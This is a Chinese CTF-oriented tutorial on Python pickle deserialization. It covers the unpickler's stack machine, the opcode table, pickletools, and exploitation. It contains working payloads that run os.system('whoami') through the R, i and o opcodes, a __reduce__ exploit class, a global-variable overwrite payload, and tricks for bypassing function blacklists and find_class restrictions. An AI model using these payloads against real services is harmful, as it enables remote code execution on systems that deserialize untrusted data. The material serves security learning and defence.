初探Pickle反序列化
Pickle原理剖析
为什么需要Pickle
如果我们需要存储的东西是一个dict、一个list,甚至一个对象,依然选用存储字符串的方法就很繁琐。所以需要序列化
序列化:对象-->字符串
各大语言都有自己的反序列库,而Python的库就是Pickle
比如下图,显示了对象的两种显示模式。

Pickle的原理
主要使用 pickle.dump()和 pickle.load()两个函数。
另外有一点需要注意:对于我们自己定义的class,如果直接以形如date = 20191029的方式赋初值,则这个date不会被打包!解决方案是写一个__init__方法, 也就是这样:

0x01 pickle.loads机制:调用_Unpickler类
pickle.loads是一个供我们调用的接口。其底层实现是基于_Unpickler类。代码实现如下:

  可以看出,_load和_loads基本一致,都是把各自输入得到的东西作为文件流,喂给_Unpickler类;然后调用_Unpickler.load()实现反序列化。
所以,接下来的任务就很清楚了:读一遍_Unpickler类的源码,然后弄清楚它干了什么事。
0x02 _Unpickler类:莫得感情的反序列化机器
在反序列化过程中,_Unpickler(以下称为机器吧)维护了两个东西:栈区和存储区。结构如下(本图片仅为示意图): 

栈是unpickle机最核心的数据结构,所有的数据操作几乎都在栈上。为了应对数据嵌套,栈区分为两个部分:当前栈专注于维护最顶层的信息,而前序栈维护下层的信息。这两个栈区的操作过程将在讨论MASK指令时解释。
存储区可以类比内存,用于存取变量。它是一个数组,以下标为索引。它的每一个单元可以用来存储任何东西,但是说句老实话,大多数情况下我们并不需要这个存储区。
  您可以想象,一台机器读取我们输入的字符串,然后操作自己内部维护的各种结构,最后吐出来一个结果——这就是我们莫得感情的_Unpickler。为了研究它,也为了看懂那些乱七八糟的字符串,我们需要一个有力的调试器。这就是pickletools。
0x03 pickletools 调试器
pickletools是python自带的pickle调试器,有三个功能:反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。我们一般使用前两种。来看看效果吧:

反编译结果:解析那个字符串,然后告诉你这个字符串干了些什么。每一行都是一条指令。接下来试一试优化功能:

- 
优化功能:去除了 BINPUT和MEMOIZE等不必要的指令


0x04 反序列化机器:语法严格、向前兼容
pickle构造出的字符串,有很多个版本。在pickle.loads时,可以用Protocol参数指定协议版本,目前,pickle有6种版本。
import pickle
?
a={'1': 1, '2': 2}
?
print(f'# 原变量:{a!r}')
for i in range(4):
    print(f'pickle版本{i}',pickle.dumps(a,protocol=i))
?
# 输出:
pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.'
pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
- 
pickle3版本的opcode(指令码)示例: 
# 'abcd'
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'
?
# \x80:协议头声明 \x03:协议版本
# \x04\x00\x00\x00:数据长度:4
# abcd:数据
# q:储存栈顶的字符串长度:一个字节(即\x00)
# \x00:栈顶位置
# .:数据截止
不过pickle协议是向下兼容的。0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。
dumps后的字符串中包含了很多条指令。这些指令一定以一个字节的指令码(opcode)开头;接下来读取多少内容,由指令码来决定(严格规定了读取几个参数、参数的结束标志符等)。指令编码是紧凑的,一条指令结束之后立刻就是下一条指令。
详细步骤讲解可以参考https://zhuanlan.zhihu.com/p/89132768
常用的opcode如下:
| opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 | 
|---|---|---|---|---|
| c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 | 无 | 
| o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 | 
| i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 | 
| N | 实例化一个None | N | 获得的对象入栈 | 无 | 
| S | 实例化一个字符串对象 | S'xxx'\n(也可以使用双引号、'等python字符串形式) | 获得的对象入栈 | 无 | 
| V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 | 
| I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 | 
| F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 | 
| R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 | 
| . | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 | 
| ( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 | 
| t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 | 
| ) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 | 
| l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 | 
| ] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 | 
| d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 | 
| } | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 | 
| p | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存 | 
| g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 | 
| 0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 | 
| b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 | 
| s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 | 
| u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 | 
| a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 | 
| e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 | 
此外, TRUE 可以用 I 表示: b'I01\n' ; FALSE 也可以用 I 表示: b'I00\n' ,其他opcode可以在
- 
编写opcode时要想象栈中的数据,以正确使用每种opcode。 
- 
在理解时注意与python本身的操作对照(比如python列表的 append对应a、extend对应e;字典的update对应u)。
- 
c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。
- 
pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如 getattr、dict.get)才能进行。但是因为存在s、u、b操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有c、i。而如何查值也是CTF的一个重要考点。
- 
s、u、b操作符可以构造并赋值原来没有的属性、键值对。
Pickle应用
拼接opcode
将第一个pickle流结尾表示结束的 . 去掉,将第二个pickle流与第一个拼接起来即可。
全局变量覆盖
python源码:
# secret.py
name='TEST3213qkfsmfo'
# main.py
import pickle
import secret
?
opcode='''c__main__
secret
(S'name'
S'1'
db.'''
?
print('before:',secret.name)
?
output=pickle.loads(opcode.encode())
?
print('output:',output)
print('after:',secret.name)
首先,通过 c 获取全局变量 secret ,然后建立一个字典,并使用 b 对secret进行属性设置,使用到的payload:
opcode='''c__main__
secret
(S'name'
S'1'
db.'''
函数执行
与函数执行相关的opcode有三个: R 、 i 、 o ,所以我们可以从三个方向进行构造:
- 
R:
b'''cos
system
(S'whoami'
tR.'''
- 
i:
b'''(S'whoami'
ios
system
.'''
- 
o:
b'''(cos
system
S'whoami'
o.'''
pker的使用(推荐)
- 
pker是由@eddieivan01编写的以仿照Python的形式产生pickle opcode的解析器,可以在https://github.com/eddieivan01/pker下载源码。解析器的原理见作者的paper: 
- 
使用pker,我们可以更方便地编写pickle opcode,pker的使用方法将在下文中详细介绍。需要注意的是,建议在能够手写opcode的情况下使用pker进行辅助编写,不要过分依赖pker。 
注意事项
pickle序列化的结果与操作系统有关,使用windows构建的payload可能不能在linux上运行。比如:
# linux(注意posix):
b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
?
# windows(注意nt):
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
函数执行
__reduce__
CTF竞赛对pickle的利用多数是在__reduce__方法上。它的指令码是R,干了这么一件事情:
- 
取当前栈的栈顶记为 args,然后把它弹掉。
- 
取当前栈的栈顶记为 f,然后把它弹掉。
- 
以 args为参数,执行函数f,把结果压进当前栈。
常见payload

那么,如何过滤掉reduce呢?由于__reduce__方法对应的操作码是R,只需要把操作码R过滤掉就行了。这个可以很方便地利用pickletools.genops来实现。
绕过姿势
- 
绕过函数黑名单 
有一种过滤方式:不禁止R指令码,但是对R执行的函数有黑名单限制。典型的例子是2018-XCTF-HITB-WEB : Python's-Revenge。给了好长好长一串黑名单:
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]
  可惜platform.popen()不在名单里,它可以做到类似system的功能。这题死于黑名单有漏网之鱼。
另外,还有一个解(估计是出题人的预期解),那就是利用map来干这件事:
class Exploit(object):
    def __reduce__(self):
  return map,(os.system,["ls"])
  总之,黑名单不可取。要禁止reduce这一套方法,最稳妥的方式是禁止掉R这个指令码。
- 
全局变量包含: c指令码的妙用
有这么一道题,彻底过滤了R指令码(写法是:只要见到payload里面有R这个字符,就直接驳回,简单粗暴)。现在的任务是:给出一个字符串,反序列化之后,name和grade需要与blue这个module里面的name、grade相对应。
- 
绕过 c指令module限制:先读入,再篡改
c指令(也就是GLOBAL指令)基于find_class这个方法, 然而find_class可以被出题人重写。如果出题人只允许c指令包含__main__这一个module,这道题又该如何解决呢?
- 
不用reduce,也能RCE(使用其他的opcode) 
参考
https://zhuanlan.zhihu.com/p/89132768